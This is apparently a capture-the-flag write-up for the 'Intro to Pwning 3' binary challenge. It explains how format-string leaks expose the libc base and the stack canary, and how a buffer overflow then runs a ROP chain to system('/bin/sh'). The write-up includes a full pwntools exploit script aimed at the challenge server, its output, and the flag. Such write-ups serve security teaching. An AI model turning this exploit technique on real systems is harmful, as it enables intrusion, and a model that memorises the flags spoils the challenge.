Category: Pwn
Difficulty: Baby
Author: LiveOverflow
Dependencies: Intro to Pwning 2
This is a introductory challenge for exploiting Linux binaries with memory corruptions. Nowodays there are quite a few mitigations that make it not as straight forward as it used to be. So in order to introduce players to pwnable challenges, LiveOverflow created a video walkthrough of the first challenge. An alternative writeup can also be found by 0x4d5a. More resources can also be found here.
Service running at: hax1.allesctf.net:9102
This is the writeup for the third part of the Intro to Pwning
series. This writeup depends on my writeup for Intro to Pwning 2
.
The code for the third part is the same as for the second part, except that we are now a Gryffindor
and the program asks for the flag of the second part.
The exploit of the writeup for the last part works after changing the flag and pointing it to the right server. This writeup would have close to no content and that's why I decided to omit one detail in the other writeups.
The code contains a function that is never called: WINgardium_leviosa
The one from pwn2.c
and pwn1.c
void WINgardium_leviosa() { printf("┌───────────────────────┐\n"); printf("│ You are a Slytherin.. │\n"); printf("└───────────────────────┘\n"); system("/bin/sh"); }
And the one from pwn3.c
void WINgardium_leviosa() { printf("They has discovered our secret, Nagini.\n"); printf("It makes us vulnerable.\n"); printf("We must deploy all our forces now to find them.\n"); // system("/bin/sh") it's not that easy anymore. }
As I mentioned in my writeup for Intro to Pwning 3
I wanted to speedrun the challenges. Therefore I took a look at all three parts before starting.
The first two parts had a gadget
that calls system("/bin/sh")
for us, therefore it would have been possible to leak the return address of welcome
and calculate the base address of the pwn1/2
instead. The buffer overflow would have written the address of WINgardium_leviosa
and it would spawn a shell.
For part three this gadget is not anymore. But there is no need for ROP, we could have jumped back to welcome
and written the address of system
in the got
entry for printf
using the %n
format specifier, returned back to welcome
again and used /bin/sh
as our name to spawn a shell. But the use of printf
to write addresses can result in many chars to print to stdout
and involves more math than just leak-offset
.
And that is why I decided to go for ROP.
$ ./rop remote [*] '/ctf/pwn3' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [x] Opening connection to hax1.allesctf.net on port 9102 [x] Opening connection to hax1.allesctf.net on port 9102: Trying 147.75.85.99 [+] Opening connection to hax1.allesctf.net on port 9102: Done [*] '/ctf/libc.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] __libc_start_main+243: 0x7feb8b4941e3 [+] Libc base address: 0x7feb8b46d000 [+] stack canary: 0xef1af488e2c2c300 [*] Loading gadgets for '/ctf/libc.so' [*] Loaded 195 cached gadgets for 'libc.so' [*] Switching to interactive mode ~ Protego! $ ls flag pwn3 ynetd $ cat flag CSCG{VOLDEMORT_DID_NOTHING_WRONG} $ exit [*] Got EOF while reading in interactive [*] Interrupted
#!/usr/bin/env python3 from pwn import * from huepy import * import sys import os import socket import subprocess import re vuln_host = 'hax1.allesctf.net'#'127.0.0.1' vuln_port = '9102' app_path = os.getcwd()+'/pwn3' lo = not 'remote' in sys.argv dbg = 'dbg' in sys.argv or 'debug' in sys.argv if dbg: log.setLevel(2) break_main = 'break_main' in sys.argv buffer_overflow = 'buffer_overflow' in sys.argv context(os='linux', arch='amd64', bits=64, terminal=['tmux', 'splitw', '-h']) def init_dbg(app_path): args = [] if break_main and not buffer_overflow: args.append('set stop-on-solib-events 1') args.append('continue') args.append('continue') args.append('break __libc_start_main') args.append('commands') args.append('break *$rdi') args.append('continue') args.append('end') args.append('continue') args.append('delete') elif buffer_overflow: args.append('set context-sections ""') args.append('define hook-stop') args.append('printf "cyclic: %p\\n", *((int *)$rsp)') args.append('python __import__("time").sleep(10000)') args.append('end') args.append('continue') else: args.append('continue') return gdb.debug(app_path, "\n".join(args)) elf = ELF(app_path) if lo: p = process(app_path) if not dbg else init_dbg(app_path) lib = "/lib/x86_64-linux-gnu/libc.so.6" else: p = remote(vuln_host,vuln_port) lib = "libc.so" libc = ELF(lib) def nop_libc(): rop = ROP(libc) rop.raw(rop.search(regs=[], order = 'regs')[0]) return rop.chain() def leak_libc_start_main(addr): code = libc.disasm(libc.symbols['__libc_start_main'],0x500) r = re.findall(r".*call.*rax.*",code) if len(r)>0: offset = int(r[0].split(":")[0].strip(),16)+len(asm('call rax')) log.success("__libc_start_main+%d: "%(offset-libc.symbols['__libc_start_main']) + green(hex(leak))) libc.address = leak -offset return log.error("failed to leak libc, can't calculate base address") exit(1) def shell_system(): rop = ROP(libc) rop.raw(rop.find_gadget(['pop rdi','ret'])[0]) rop.raw(next(libc.search(b'/bin/sh\x00'))) rop.call(libc.symbols['system']) log.debug("Shell chain: \n" + white(rop.dump())) return rop.chain() #PWN if lo: p.sendlineafter(":\n",r"CSCG{THIS_IS_TEST_FLAG}") else: p.sendlineafter(":\n",r"CSCG{NOW_GET_VOLDEMORT}") if buffer_overflow: p.sendlineafter(":",b"A") p.sendlineafter(":",b"Expelliarmus\x00"+cyclic(4096)) #we will hit the stack protector, but the offsets haven't changed anyway p.sendlineafter(":\n",b"AAAA%45$p BBBB%39$p") p.readuntil("AAAA") leak = int(p.readuntil(" ").rstrip(),16) leak_libc_start_main(leak) log.success("Libc base address: " + green(hex(libc.address))) p.readuntil("BBBB") leak = int(p.readuntil(" ").rstrip(),16) log.success("stack canary: " + green(hex(leak))) padding = cyclic_find(0x61616e63) p.sendlineafter(":",b"Expelliarmus\x00"+b"B"*padding+p64(leak)+nop_libc()+nop_libc()+shell_system()) p.interactive()
read
to prevent buffer overflowsputs
or printf("%s",data)
CSCG{VOLDEMORT_DID_NOTHING_WRONG}